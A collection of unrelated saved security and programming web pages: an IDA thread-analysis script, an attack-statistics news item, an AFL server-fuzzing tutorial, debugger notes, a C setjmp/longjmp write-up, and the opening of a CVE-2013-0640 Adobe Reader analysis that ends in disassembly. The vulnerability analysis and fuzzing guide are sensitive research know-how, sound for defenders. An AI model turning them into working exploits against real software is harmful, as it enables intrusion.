had no luck. I spent a good amount of time reviewing others code in graphing
down and graphing up. Cody Pierce has some great code on Tipping Point 's blog
but it's for graphing up. If anyone has any thoughts please shoot me an email.
My address is in the comments of the script._  
  
  
  
Source code of an\_threads.py, Download  
  
  
  

[code]

    ## an_threads.py is a script that can be used to help with analyzing threads## and their child functions. Usage IDA > File > Script file.. > Select an_threads.py## The output will be displayed to the Output Window. IDA > View > Output Window## Created by alexander.hanel@gmail.com, version 0.01 
    
    from idaapi import * 
    import idautils
    import idc
    import sys
    
    def format_depth(x):
        # Get's the depth of each function from the parent/root function
        for index in range(0, len(x)):
            if x[index][1] == None:
                x[index].append(0)
                continue
            if index == 1:
                x[index].append(1)
                continue
            # Indent Child Function 
            if x[index][0] == x[index-1][1]:
                x[index].append(x[index-1][2]+1)
                continue
            # No Indent same function 
            if x[index][0] == x[index-1][0]:
                x[index].append(x[index-1][2])
                continue
            if x[index][0] != x[index-1][1] or x[index][0] != x[index-1][0]:
                for v in range(1, index):
                    if len(x[index]) == 3: continue 
                    if x[index][0] == x[v][0]:
                        x[index].append(x[v][2])
                        continue
                    
            if len(x[index]) == 3:
                    continue
        # returns list
        # format parent, child, depth 
        return x
        
    def print_dep(dep):
        # prints the output
        for line in dep:
            if line[1] == None:
                print GetFunctionName(int(line[0],16)), "(lpStartAddr)"
                
            else:
                space = ' ' * 3 * line[2]
                func_string = GetFunctionName(int(line[1],16))
                if func_string == '':
                     func_string = '* Call ' + GetDisasm(int(line[1],16))[6:-6]
                print space , func_string
    
        return 
        
    def graph_down(ea, depth, graph = {}, path = set([]) ):
        # This function was borrowed from Carlos G. Prado. Check out his Milf-Plugin for IDA on Google Code. 
        graph[ea] = list()    # Create a new entry on the graph dictionary {node: [child1, child2, ...], ...}
        path.add(ea)        # This is a set, therefore the add() method
    
        # Iterate through all function instructions and take only call instructions
        for x in [x for x in FuncItems(ea) if is_call_insn(x)]:        # Take the call elements
                for xref in XrefsFrom(x, XREF_FAR):                                   
                        if not xref.iscode:
                                continue
    
                        if xref.to not in path or 'extrn' in GetDisasm(xref.to):
                            depth.append([hex(LocByName(GetFunctionName(x))), hex(xref.to)])
                        
                        if xref.to not in path:        # Eliminates recursions
                                graph[ea].append(xref.to)
                                graph_down(xref.to, depth, graph, path)
        return depth
    
    def retlistofCreateThreadAddr():
        # returns a list of all addresses that call CreateThread
        addr = []
        for x in CodeRefsTo(LocByName("CreateThread"),0):
            addr.append(x)
        return addr
    
    def getStartAddr(ct_addr):
        # backtrace to find string "lpStartAddress"
        # then read and return Dword
        count = 0
        addr = PrevHead(ct_addr,minea=0)
        while count < 10:
            if 'lpStartAddress' in str(Comment(addr)):
                return Dword(addr+1) 
            count = count + 1
            addr = PrevHead(addr,minea=0)
            continue         
    
    
    ## Main()
    threads = []   
    for x in retlistofCreateThreadAddr():
        # return (CreateFunction Address, StartAddress)
        threads.append((x,(getStartAddr(x)))) 
                       
    print "Number of Threads %s" % (len(threads))for addr in threads:
        print "CreateThread Call %s" % hex(addr[0])
        if GetFunctionName(addr[1]) == '':
            print "[Warning] Could Not Get lpStartAddr [Warning]"
            print 
            continue
        x = graph_down(addr[1], depth=[[hex(LocByName(GetFunctionName(addr[1]))),None]])
        print_dep(format_depth(x))
        print
[/code]

#### No comments:

#### Post a Comment

Older Post Home

Subscribe to: Post Comments \(Atom\)

## Pages

  * Home
  * Portable Executable Virustotal Example
  * Malware Analysis Search
  * iheartxor

## About Me

<img src='img/ihatealex1.jpg' width='60' height='80' alt='My Photo' />

View my complete profile

# Rudimentary attacks pose the greatest risk to midsized organizations - Help
Net Security

**Created:**| _5/8/2017 8:21:23 AM_  
---|---  
**Updated:**| _5/8/2017 8:21:23 AM_  
**Author:**| __  
**Tags:**| _risk-management assessment_  
  

  

<img src='img/Temp2_7073.png' width='45' height='45' />

_b_ Help Net SecurityMay 8, 2017

  * _a_
  * _b_
  * _y_
  * _d_

# Rudimentary attacks pose the greatest risk to midsized organizations

Read the latest issue of the \(IN\)SECURE Magazine

Rudimentary attacks, such as intrusion attempts, information gathering, and
policy violations pose the greatest risk to midsized organizations, according
to eSentire.

<img src='img/Temp2_7072.png' width='638' height='387' alt='rudimentary
attacks' />

######

Attacks per type heat map

“In 2016, the eSentire SOC detected almost 5 million attacks across hundreds
of primarily small to medium organizations, spanning multiple industries,”
said Viktors Engelbrehts, director of threat intelligence at eSentire.
“Cybercriminals are attracted to easy targets because they are low risk, high
reward, and require little effort to execute. However, available evidence
suggests that the majority of opportunistic cyber-attacks against mid-sized
businesses can be prevented by applying basic best practice security
principles.”

Rudimentary attacks pose the greatest risk – cybercriminals are moving away
from sophisticated malicious code attacks, with the majority of attackers
preferring inexpensive and automated methods of intrusions, exploiting ‘low
hanging fruit’ \(representing almost 30% of all observed events\). This trend
is expected to continue so long as these techniques are successful.

### Key findings

  * March to April and September to October were the most intense periods of threat events throughout the year, with March being the most active month, and June to July being the least active.
  * The most often observed threat categories were Intrusion Attempts, Information Gathering, and Policy Violations, representing 63% of all observed attacks.
  * Intrusions Attempts \(primarily web attacks\) was the top-ranking threat category, representing almost 30% of all observed events. 
  * The top attack methods in the Intrusion Attempts category involve exploiting a Shellshock vulnerability \(CVE-2014-6271\), representing approximately 60% of all intrusion attempts.
  * OpenVAS remains the most prominent tool used for information gathering purposes, with 62% of all events attributed to this category. Attacks against the SSH protocol remain the second highest threat in this category, with 21% of all events attributed to attempts to guess or brute force passwords.
  * Web-based attacks and network scanning continue to increase as widely adapted automated tools allow a hands-off approach by threat actors.

Every organization is a target – with easier access than ever before to simple
and automated tools, cybercriminals can stage attacks against every business.
Attacks, such as ransomware, can reap financial gains without the painstaking
effort required to identify and extract high value information from an
organization’s network.

Detecting and disrupting the common methods and tools used will make attacks
less effective, directly impacting cybercriminal rationale when choosing
attack targets. This includes steps to minimize the attack surface and
tailoring of security controls.

#### Tags

  * cybercriminals
  * eSentire
  * survey

Free tool download: Netwrix Change Notifier for Active Directory

  

# How to fuzz a server with American Fuzzy Lop | Fastly - The Next Gen CDN
**Created:**| _7/22/2015 3:09:44 PM_  
---|---  
**Updated:**| _7/22/2015 3:09:44 PM_  
**Author:**| __  
**Tags:**| _analysis vulnerability fuzzing_  
  

July 21, 2015

By: Jonathan Foote

American Fuzzy Lop \(AFL\) is an open source, coverage-assisted fuzz testing
tool developed by Michał Zalewski of Google. In a nutshell, it feeds
intelligently crafted input to a program that exercises corner cases and finds
bugs in a target program.

In this blog post, I'll describe how to use AFL's experimental persistent mode
to blow the doors off of a server without having to make major modifications
to the server's codebase. I've used this technique at Fastly to expand testing
in some of the servers that we rely on and others that we are experimenting
with.

Throughout this post, I'll use the open source Knot DNS with a basic
configuration as a running example, but the technique is applicable to other
servers and long running processes as well.

### The problem: File input and startup time

AFL passes input via a file interface, but servers generally read from sockets
or other network-ready interfaces. In addition, by default AFL re-runs the
target program each time it executes a test. Because servers often take a
second or more to start, this can greatly hamper AFL's progress in exploring
the program and uncovering bugs.

In the past, testers have had to apply test harnesses that are either non-
trivial to develop or harnesses that test only a subset of the server's
request handling logic \(see the existing AFL harness in Knot DNS for an
example\). Neither of these solutions is ideal — the first one can be time-
consuming \(and require heavy grokking of source code\) and the latter limits
your test coverage.

### The solution: Persistent mode

You can read more about AFL's experimental persistent mode here. Via some
minor modifications to the source code, it lets the tester control:

  1. When AFL forks the target application
  2. When AFL feeds new input to the application

This mode solves the problem of waiting for a program to start; the tester can
now feed fuzzed inputs to the target program without restarting it. The major
caveat here is that the tester must be careful to reset the state of the
application between each iteration of fuzzing. If the state is not reset
carefully, you'll find bugs in your test harness instead of the target.

### The insight: Persistent mode + servers

At this point, the good news might be obvious: many servers carefully reset
the state of the application each time a request is processed for you, so the
"hard part" of using AFL persistent mode is already taken care of. In general,
a server thread will look something like this:

[code]

    while (go):
        req = get_request()
        process(req)
    
[/code]

To integrate AFL persistent mode, all you have to do is modify the program to
do this:

[code]

    while (go)
        put_request(read(file)) // AFL
        req = get_request()
        process(req)
        notify_fuzzer() // AFL
    
[/code]

It turns out \(from my experience, anyway\) that it takes a lot less time to
identify and modify the target code above than to figure out how to write a
custom test harness that might involve mocking API functions and/or extracting
parsing logic into a standalone program.

### Applying the technique to Knot DNS

#### Finding the processing loop

Knot DNS uses sockets for communication, so I searched the source code for
`select` and found the loop that reads and processes UDP packets. Here is a
snippet of the relevant source code \(I added `**** AFL: .. ****` comments to
show where changes are necessary to support fuzzing in AFL persistent mode\):

[code]

    // **** AFL: Declare and initialize variables ****
    ...
        /* Loop until all data is read. */
        for (;;) {
    
            /* Check handler state. */
            if (unlikely(*iostate & ServerReload)) {
                *iostate &= ~ServerReload;
                udp.thread_id = handler->thread_id[thr_id];
    
                rcu_read_lock();
                forget_ifaces(ref, &fds, maxfd);
                ref = handler->server->ifaces;
                track_ifaces(ref, &fds, &maxfd, &minfd);
                rcu_read_unlock();
            }
    
            /* Cancellation point. */
            if (dt_is_cancelled(thread)) {
                break;
            }
    
            /* Wait for events. */
            fd_set rfds;
            FD_COPY(&fds, &rfds);
    
            // **** AFL: Read from input file here ****
    
            int nfds = select(maxfd + 1, &rfds, NULL, NULL, NULL);
            if (nfds <= 0) {
                if (errno == EINTR) continue;
                break;
            }
            /* Bound sockets will be usually closely coupled. */
            for (unsigned fd = minfd; fd <= maxfd; ++fd) {
                if (FD_ISSET(fd, &rfds)) {
                    if ((rcvd = _udp_recv(fd, rq)) > 0) {
                        _udp_handle(&udp, rq);
                        /* Flush allocated memory. */
                        mp_flush(mm.ctx);
                        _udp_send(rq);
                        udp_pps_sample(rcvd, thr_id);
                    }
                }
            }
    
            // **** AFL: Notify fuzzer that processing complete here ****
        }
    
[/code]

Note: I targeted `select` for Knot DNS, but if your target server uses a
different API for handling network traffic you should be able to search for
its analogous `recv` or `read` functions to accomplish the same end.

### The shims

I call each of the modifications that I made to support persistent mode a
shim. The first shim is pretty boring; it just declares and initializes
variables needed for the other shims:

[code]

    #ifdef KNOT_AFL_PERSISTENT_SHIM  /* For AFL persistent mode fuzzing shim  */
    
        /* Initialize variables for fuzzing */
        size_t insize;
        struct sockaddr_in servaddr;
        int udp_socket; 
        char *env_dest_ip = getenv("KNOT_AFL_DEST_IP");
        char *env_dest_port = getenv("KNOT_AFL_DEST_PORT");
        int dest_port = env_dest_port ? strtol(env_dest_port, NULL, 10) : 9090;
        char *dest_ip = env_dest_ip ? env_dest_ip : "127.0.0.1";
        bzero(&servaddr,sizeof(servaddr));
        servaddr.sin_family = AF_INET; 
        servaddr.sin_addr.s_addr = inet_addr(dest_ip);
        servaddr.sin_port = htons(dest_port); 
        char buf[5120]; 
    
    #endif // #ifdef KNOT_AFL_PERSISTENT_SHIM
    
[/code]

Note: the code above reads the destination IP address and port from
environment variables with some defaults. This is important if you plan to
scale up an AFL run — you'll probably want each instance of the server to
listen on a different port in that case.

The second shim reads fuzzed input from a file — `stdin` in this case — and
feeds it to one of the sockets that Knot DNS is listening on.

[code]

    #ifdef KNOT_AFL_PERSISTENT_SHIM  /* For AFL persistent mode fuzzing shim  */
    
            /* Read fuzzed packet from stdin and send to socket */
            if (getenv("KNOT_AFL_STDIN") || getenv("KNOT_AFL_CMIN") ||
                    getenv("AFL_PERSISTENT")) {
                memset(buf, 0, 5120);
                insize = read(0, buf, 5120);
                udp_socket = ((iface_t*)HEAD(handler->server->ifaces->l))->fd[IO_UDP];
                sendto(udp_socket, buf, insize,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
            }
    
    #endif // #ifdef KNOT_AFL_PERSISTENT_SHIM
    
[/code]

I usually try to make this section of the code stateless so that I don't have
to worry about cleaning anything up. If you do make any allocations here, it
is important to make sure they are cleaned up in the post-processing shim
\(see below\), taking care to consider any edge cases that might occur when a
message is processed.

Note that this code does require a little thinking. In this case, I use a
Knot-specific data structure to grab the file descriptor for a socket that the
server is going to read from. In other cases I've had to use `FD_ISSET` and a
one-liner loop to find a socket that is passed to `select` in the `readfds`
set. It's not usually difficult regardless — if you are coding near `select`
the set of file descriptors it reads from can't be too far away.

Also note the use of `getenv` here. This shim only executes if
`KNOT_AFL_STDIN` is set \(used for smoke testing\), `KNOT_AFL_CMIN` is set \(I
use this for `afl-cmin` runs\), or `AFL_PERSISTENT` is set \(this is set in
AFL persistent mode\).

The third shim is pretty basic. It simply signals AFL that a fuzz iteration is
complete \(via a `SIGSTOP`\), exits so the next seed packet can be processed
if this is an `afl-cmin` run, or does nothing:

[code]

    #ifdef KNOT_AFL_PERSISTENT_SHIM  /* For AFL persistent mode fuzzing shim  */
    
            /* Signal AFL to fuzz input and continue execution */
            if (getenv("AFL_PERSISTENT")) {
                raise(SIGSTOP);
            } else if (getenv("KNOT_AFL_CMIN")) {
                exit(0);
            }
    
    #endif // #ifdef KNOT_AFL_PERSISTENT_SHIM
    
[/code]

I used preprocessor macros to conditionally include all of the shims above.
This way, while the shims still muck up the codebase a little, at least they
won't interfere with any other builds.

### Fuzzing

You can learn more about fuzzing with AFL and using persistent mode in the
documentation, but I've included some examples of getting AFL running with
this harness below.

#### Configure and compile the app

[code]

    $ CC=~/afl-1.83b/afl-clang-fast CFLAGS='-DKNOT_AFL_PERSISTENT_SHIM' ./configure --disable-shared
    $ make
    
[/code]

Note: you'll have to compile `afl-clang-fast` from the `llvm_mode` directory
to support persistent mode; see the README for more info.

#### Minimize your test cases

[code]

    KNOTD_AFL_CMIN=1 ~/afl-1.83b/afl-cmin -i ~/knot-seeds -o ~/knot-seeds-cmin -- ~/knot-dns/src/knotd -c my_config.config
    
[/code]

#### Start fuzzing in persistent mode

[code]

    AFL_PERSISTENT=1 ~/afl-1.83b/afl-fuzz -i ~/knot-seeds-cmin -o ~/my_output_dir ~/knot-dns/src/knotd -c my_config.config
    
[/code]

## AFL persistent mode is kind of awesome, but you don't have to take my word
for it

If you've made it this far, hopefully you now have an idea of how to apply AFL
persistent mode to a server to significantly increase your fuzzing coverage.
While I used Knot DNS as an example, this technique should be applicable to
most servers or daemons that use a read-and-process loop pattern. With a
little study, even servers that carry state beyond the protocol level should
be addressable with persistent mode.

### Footnote: So where are the bugs?

The Knot team was already using AFL to fuzz a subset of their server logic
\(and I've sent a persistent mode patch upstream to them\), but it’s worth
noting that I was able to find vulnerabilities in another popular DNS server
in a matter of hours on a low-end PC using this technique \(we're coordinating
a fix with the upstream vendor so I'm holding off on discussing that for the
time being\).

Regardless, to give a completely unscientific example of the testing gains
that AFL persistent mode can bring to a project, here is the `lcov/genhtml`
coverage summary resulting from fuzzing Knot DNS with its existing test
harness for five minutes under AFL in a VM on a laptop:

[code]

    Overall coverage rate:
      lines......: 24.5% (711 of 2903 lines)
      functions..: 28.1% (88 of 313 functions)
    
[/code]

For comparison, here is the coverage summary from running with the new harness
for five minutes using a simplified config file:

[code]

    Overall coverage rate:
      lines......: 23.9% (6638 of 27796 lines)
      functions..: 32.9% (704 of 2139 functions)
    
[/code]

While some of the coverage reported in the persistent mode run is
initialization logic, the line and function coverage reached by the tests
increased significantly with the new harness. \(Note: if you are confused by
the percentages, consider that they are scaled by the size of the program.\)
In addition, the lines that are covered by AFL are getting executed
considerably more using the new harness. The AFL status screen shows the
following when the five minute experiment using the existing harness exits:

[code]

    total execs : 518k 
    exec speed : 1610/sec 
    
[/code]

And the following when the new harness exits:

[code]

    total execs : 1.34M 
    exec speed : 3382/sec
    
[/code]

So, while you're not going to find 0day in this blog post, hopefully the
potential gains in coverage, executions, and the relative simplicity of this
technique will motivate you to give it a try. Thanks for reading\!

# Immunity Debugger API Reference

**Created:**| _5/30/2010 12:08:06 PM_  
---|---  
**Updated:**| _5/30/2010 12:08:23 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging_  
  
LogB

# bpython’s documentation\! — bpython v0.9.5.2 documentation

**Created:**| _12/15/2009 4:37:32 PM_  
---|---  
**Updated:**| _12/15/2009 4:37:37 PM_  
**Author:**| __  
**Tags:**| _python programming_  
  

# bpython’s documentation\!

Welcome to the bpython documentation files. This is where you can find all
about using and customizing the bpython interpreter.

Contents:

  * Authors
  * Configuration
  * Themes
  * Releases
  * Community
  * Django
  * Changelog
  * Sourcecode

# Indices and tables

  *  _Index_
  *  _Module Index_
  *  _Search Page_

# Crash Dump Analysis » Blog Archive » Tesing Python WinDbg Extension

**Created:**| _2/6/2011 1:14:19 PM_  
---|---  
**Updated:**| _2/6/2011 1:14:42 PM_  
**Author:**| __  
**Tags:**| _Debugging Memory forensics reversing windbg_  
  

Finally had time today to test python WinDbg extension. I installedpython
2.6.6 and used Debugging Tools for Windows x64. The script I used was from the
extension web site blog slightly modified and called processes.py:

> `from pykd import *  
>  nt = loadModule( "nt" )  
>  processList = typedVarList( nt.PsActiveProcessHead, "nt", "_EPROCESS",
> "ActiveProcessLinks" )  
>  for process in processList:  
>  dprintln( "".join( [ chr(i) for i in process.ImageFileName.values() ] ) )  
>  dprintln( "\r" )`
I loaded x64 version of pykd.pyd extension and executed the script:

`0: kd> !py c:\PyScripts\processes.py  
System  
smss.exe  
csrss.exe  
csrss.exe  
psxss.exe  
winlogon.exe  
wininit.exe  
services.exe  
lsass.exe  
lsm.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
spoolsv.exe  
mdm.exe  
svchost.exe  
svchost.exe  
svchost.exe  
taskhost.exe  
dwm.exe  
explorer.exe  
DTLite.exe  
mmc.exe  
WZQKPICK.EXE  
concentr.exe  
pnamain.exe  
jusched.exe  
wfcrun32.exe  
msdtc.exe  
iexplore.exe  
iexplore.exe  
iexplore.exe  
splwow64.exe  
iexplore.exe  
jucheck.exe  
iexplore.exe  
notepad.exe  
notepad.exe  
iexplore.exe  
notepad.exe  
iexplore.exe  
notepad.exe  
notepad.exe  
iexplore.exe  
audiodg.exe  
CDViewer.exe  
wfica32.exe  
iexplore.exe  
notepad.exe  
cmd.exe  
conhost.exe  
wuauclt.exe  
wfica32.exe  
wlrmdr.exe  
TrustedInstall  
wfica32.exe  
notepad.exe  
iexplore.exe  
wmplayer.exe  
VISIO.EXE  
mspaint.exe  
svchost.exe  
sppsvc.exe  
windbg.exe  
mmc.exe  
LogonUI.exe  
taskeng.exe  
NotMyfault.exe`

  

# emulating exceptions in C

**Created:**| _8/27/2015 1:56:23 PM_  
---|---  
**Updated:**| _8/27/2015 1:56:23 PM_  
**Author:**| __  
**Tags:**| _C programming_  
  
  

  * 1 case study: a recursive-descent parser
    * 1.1 recursive-descent parsing
  * 2 error-handling
    * 2.1 error codes
    * 2.2 exceptions, exceptions
  * 3 in conclusion

  
---  
# case study: a recursive-descent parser

I recently stumbled across a practical use-case for simulated exceptions in C
while writing a recursive-descent JSON parser for fun and profit. In this
quick write-up, I’ll give a high-level overview of the problems that I ran
into, why exceptions were ideal for error handling, and how I emulated them in
C.

## recursive-descent parsing

I won’t dwell on the details of the parser itself because this post is about
the error-handling mechanism, but a minimal understanding of recursive-descent
parsing is necessary to appreciate it. As with any kind of parsing, we start
out with the formal grammar of our language/data format/whatever. A simple
grammar for common programming language literals might look like:

[code]

    value: string | number | boolean
    string: '"' char* '"'
    boolean: 'true' | 'false'
    number: '-'? digit+ ('.' digit+)?
    array: '[' value ']'
[/code]

In fact, the JSON grammar that I used is fairly similar. Writing a recursive-
descent parser for a grammar like the above is straightforward, because you
simply map each rule onto a corresponding parse function. In pseudocode, we
might have:

[code]

    parse()
        # perform setup
        return parseValue()
    
    parseValue()
        if nextIsString()
            return parseString()
        else if nextIsNumber()
            return parseNumber
        else if nextIsBoolean()
            return parseBoolean()
        else if nextIsArray()
            return parseArray()
        else
            throw ParseError()
    
    parseString()
        matchChars('"')
        string = readCharsUntil('"')
        matchChars('"')
        return string
    
    parseBoolean()
        if peekChar() == 't'
            matchChars('true')
            return true
        else
            matchChars('false')
            return false
    
    # and so on
[/code]

The gist is that we have a bunch of mutually recursive parsing routines that
ultimately rely on very primitive, low-level functions \(like `nextChar()`,
`readCharsUntil()`, `matchChars()`, etc. in the above example\) that operate
directly on the string being parsed.

# error-handling

Most of the errors that we need to worry about will occur in those primitives:
`nextChar()` might fail to read a character because it hit the end of the
input stream and `matchChars()` might find an unexpected character, for
example. We may also want to manually signal an error in one of our high-level
parsing routines, like we do in `parseValue()` when we can’t detect any valid
values ahead. The key observations to make are that in a recursive-descent
parser, the call stack will grow quite deep, and that errors are fatal; in
other words, when one occurs, we need to `return` through many layers of
function calls until we hit the `parse()` that started it all:

[code]

    getNextChar()   # Error, hit EOF!
    matchChars()
    parseBoolean()
    parseValue()
    parseArray()
    parseValue()
    parse()         # The top-level parse routine that we need to jump back to.
[/code]

How should we handle errors in C, then?

## error codes

The idiomatic solution is to simply use error codes. If `nextChar()` fails,
return `-1` \(which is suitable because character values can’t be negative\),
and make sure to actually _check_ that return value every time you call it.

[code]

    char chr = nextChar(parserState);
    if(chr == -1){
        return -1;
    }
[/code]

Note that the `parserState` argument passed to `nextChar()` is a \(pointer to
a\) `struct` containing the parser’s state: a pointer to the string being
parsed, its length, the current index in that string, etc.

In practice, we’d probably settle for a more sophisticated solution that
involves storing error information inside `parserState`, like a boolean
indicating whether a failure occurred and an error message to accompany it,
since it’s more flexible:

[code]

    char chr = nextChar(parserState);
    if(parserState->failed){
        puts(parserState->errMsg); // just an example
        return NULL;
    }
[/code]

Either way, the result is that we have to remember to manually check some
error value after every call to a parse routine that carried the possibility
of failure. It bloats your code with repetitive conditionals and prevents you
from using the return value of a parse routine directly in an expression
because, again, you need an explicit conditional. Can we do better?

## exceptions, exceptions

An exception mechanism would be ideal here, since we want to jump back to an
arbitrary point in the call stack \(in our case, `parse()`\) from any one
function. While C doesn’t provide us with real exceptions, we _can_ simulate
them…

###  `longjmp()`, `setjmp()`

Enter `longjmp()` and `setjmp()`; like `goto`, but nuclear\! From the manpage,
these functions facilitate “nonlocal jumps to a saved stack context,” or, in
other words, allow you to perform jumps across functions. **Use with extreme
caution.** The gist is that `setjmp()` is used to initialize a `jmp_buf`,
storing critical information about the current calling environment – it’s
highly system-specific, but generally includes things like the stack pointer
and current register values – and returns 0 \(the **first** time it returns –
this will be explained shortly\). You can then pass that `jmp_buf` to
`longjmp()` at any other point, and the program will rewind execution back to
the `setjmp()` call. You’ll also need to pass a non-zero `int` to `longjmp()`,
which will be the value that `setjmp()` returns this time around; this allows
us to discriminate between the times that `setjmp()` returns a.\) initially
and b.\) after a jump was performed. An example should set things straight:

[code]

    #include <stdio.h>
    #include <setjmp.h>
    
    void bar(jmp_buf jmpBuf){
        puts("inside bar()");
        longjmp(jmpBuf, 1);
        puts("this should never run!");
    }
    
    void foo(void){
        jmp_buf jmpBuf;
        if(!setjmp(jmpBuf)){
            // This runs after `setjmp()` returns normally.
            puts("calling bar()");
            bar(jmpBuf);
            puts("this should never run!");
        }
        else {
            // This runs after `setjmp()` returns from a `longjmp()`.
            puts("returned from bar()");
        }
    }
    
    int main(){
    	foo();
    	return 0;
    }
[/code]

When compiled and run, you should see:

[code]

    calling bar()
    inside bar()
    returned from bar()
[/code]

Notice how we wrap the call to `setjmp()` in a conditional, which allows us to
selectively run different code after it returned regularly \(returning 0\) and
then after a jump occurred \(returning whatever argument was passed to
`longjmp()`, or, in our case, 1\). Continuing the exceptions analogy, this is
similar to a `try {} catch {}`.

Also, note that `jmp_buf` is `typedef`‘d as an array of the _actual_ `jmp_buf`
structs **with only one element** – in other words, when you declare `jmp_buf
jmpBuf;`, the struct inside `jmpBuf` lives entirely on the stack but `jmpBuf`
will decay to a pointer if you pass it to a function. In my opinion that’s
rather misleading and I would’ve preferred to manually, explicitly use pointer
notation when necessary, but it is what it is.

### integrating them into the parser

The idea is to initialize a `jmp_buf` in the `parse()` function with
`setjmp()`, store it inside the `parserState` struct in a `prevErrorTrap`
member \(couldn’t think of a better name\), and then `longjmp()` to it
whenever an error occurs. If that were all, using this solution would be a no-
brainer, but alas, there’s a complication: some of our parsing routines might
need to perform cleanup before exiting, like `free()`ing temporarily allocated
memory. For instance, the `parseArray()` function in my parser allocates a
stretchy array to house all of the values that it successfully parses; if an
error occurs in one of the `parseValue()` calls that it makes, it needs to
deallocate all of the values parsed thus far and then the array itself. If we
jump from the point where the error occurred to the very beginning of the
parse, though, we don’t have any means of doing so.

### intermediate cleanup

Two solutions come to mind:

  * storing pointers to all of the blocks of memory allocated by the parse routines inside an array in `parserState`, and then `free()`ing them inside the top-level `parse()` if an error occurred
  * setting intermediate jump points in functions that need to perform cleanup; in effect, catching exceptions, cleaning up, and reraising them.

I ultimately settled for the latter, and the idea’s the same as before: in
functions like `parseArray()` and any others that allocate intermediate
memory, create a copy of the current jump buffer
\(`parserState->prevErrorTrap`\), and then set `parserState->prevErrorTrap` to
a **new** jump buffer created with `setjmp()` – this one will get used by all
of the parse routines called by the current one. If the parse succeeds, just
restore `parserState->prevErrorTrap` to the original jump buffer before
returning. If it fails, perform cleanup and jump directly to the original
buffer. Here’s an example taken straight from the parser’s source, with
irrelevant bits omitted:

[code]

    static JsonArray_t JsonParser_parseArray(JsonParser_t *state){
        /**
         * Omitted: perform setup here.
         */
    
        jmp_buf prevErrorTrap;
        copyJmpBuf(prevErrorTrap, state->errorTrap);
    
        // The stretchy array used to store parsed values. Read on
        // for why `volatile` is necessary.
        JsonVal_t *volatile values = NULL;
    
        if(!setjmp(state->errorTrap)){
    
            /**
             * Omitted: parse values into `values` with repeated calls
             * to `parseValue()`.
             */
    
            // If we get this far, then no error occurred, so restore the
            // original `prevErrorTrap`.
            copyJmpBuf(state->errorTrap, prevErrorTrap);
    
            return (JsonArray_t){
                .length = sb_count(values),
                .values = values
            };
        }
        else {
            // An error occurred! Deallocate all intermediate memory,
            // and then jump to the previous `prevErrorTrap`.
            for(int ind = 0; ind < sb_count(values); ind++){
                JsonVal_free(&values[ind]);
            }
            sb_free(values);
            longjmp(prevErrorTrap, 1);
        }
    }
[/code]

`copyJmpBuf()` is just a convenience wrapper for `memcpy()`:

[code]

    static void *copyJmpBuf(jmp_buf dest, const jmp_buf src){
        return memcpy(dest, src, sizeof(jmp_buf));
    }
[/code]

One other thing to note is that we declared the `values` pointer as `volatile`
to prevent the compiler from placing it into a register. Why? The problem is
that we modify `values` after the call to `setjmp()`, namely when we perform
the initial allocation of a stretchy array and then whenever it gets resized
and a `realloc()` changes the location of the items that it contains. When a
long jump occurs, register values are restored from whatever they were at the
time of the `setjmp()` call, since those are what it copied into the target
`jmp_buf`; if the compiler decided to put `values` into a register, then after
the jump, it would be set to `NULL`. To prevent that from happening, we use
the `volatile` specifier. See this SO post for more; this is an example of the
potentially very dangerous subtleties of long jumping. In fact, while writing
my parser I forgot to add in the `volatile` specifier to `values`, and noticed
that it was leaking memory \(thank you valgrind\!\) whenever an error occurred
even though the cleanup clause _was_ getting run. It turns out that `values`
would get put into a register and then consequently take on a value of `NULL`
after the jump – since that’s what it was at the time of the original
`setjmp()` – meaning that the only reference to the allocated memory was lost
and it couldn’t possibly be deallocated. Moreover, when passed to `free()`, it
wouldn’t blow up, because `free()` ignores NULL pointers1\!

To wrap up the above example, all of the other parsing functions that set
intermediate breakpoints have virtually the same layout, so you could even
theoretically encapsulate the different statements in macros like `try` and
`catch` for a full blown mimicry of exceptions in other languages – that’s too
much magic for me, though.

# in conclusion

`longjmp()` and `setjmp()` are tricky. They’re obscure, can give rise to
subtle bugs, are highly platform-specific, and, if abused, will probably lead
to awfully confusing code; a footcannon if I ever saw one. That being said,
like `goto`, they _do_ have valid uses and can be very powerful when used
appropriately. In this case, I think they were superior to error codes and
resulted in a slimmer, more readable implementation than what it otherwise
would’ve been. If you’re interested in more reading, I recommend this
comprehensive article. Also, here’s the thoroughly documented parser source
code; check out `src/json_parser.c`.

* * *
  1. From `man -s3 free`: “If ptr is NULL, no operation is performed” ↩

  

# CVE-2013-0640: Adobe Reader XFA oneOfChild Un-initialized memory vulnerability \(part 2\) | Portcullis LabsPortcullis Labs
**Created:**| _10/15/2013 1:53:12 PM_  
---|---  
**Updated:**| _10/15/2013 1:53:12 PM_  
**Author:**| __  
**Tags:**| _vulnerability pdf_  
  

# CVE-2013-0640: Adobe Reader XFA oneOfChild Un-initialized memory
vulnerability \(part 2\)

url\(images/postdateicon.png\)Published 15/10/2013 | By MTB
Share on emailShare on twitterShare on linkedinShare on facebookShare on
google\_plusone\_shareShare on yammerShare on stumbleuponShare on redditShare
on digg

The purpose of this document is to present the second part of a technical
report of the CVE-2013-0640 vulnerability targeting Adobe Reader version 9, 10
and 11. It was first spotted in February 2013 and has been used actively in
the wild.

[code]

    Warning: All function names in this article are purely fictional and were chosen based on what was understood during the reverse engineering. Even if it could resemble true names, it is most likely a coincidence. Obviously no pieces of code were harmed during the reverse engineering.
[/code]

## Binary Information

Name:| AcroForm\_api  
---|---  
Base address:| 0×20800000  
File version:| 9.5.0.270  
Default path:| C:\Program Files\Adobe\Reader 9.0\Reader\plug\_ins\AcroForm.api  
## Un-initialized memory vulnerability

As seen in the previous paper, the bug is due to un-initialized memory. In
order to exploit this kind of vulnerability, one needs to control the content
of the memory at the address of the future allocation. Hopefully the heap is
deterministic. In order to understand this, we need to dive deep into AcroForm
to see how blocks of memory are allocated.

## AcroForm custom memory allocator

The buggy block that contains un-initialized data is allocated and used in the
_sub\_209DE150\(\)_ function. It allocates a block of 0x3c and initializes it
as a _node_ object.

?

`.text:209DE150 sub_209DE150``.text:209DE150``.text:209DE150 var_34 = ``dword`
`ptr` `-34h``.text:209DE150 var_30 = ``dword` `ptr` `-30h``.text:209DE150
var_2C = ``dword` `ptr` `-2Ch``.text:209DE150 var_28 = ``dword` `ptr`
`-28h``.text:209DE150 var_24 = ``dword` `ptr` `-24h``.text:209DE150 var_20 =
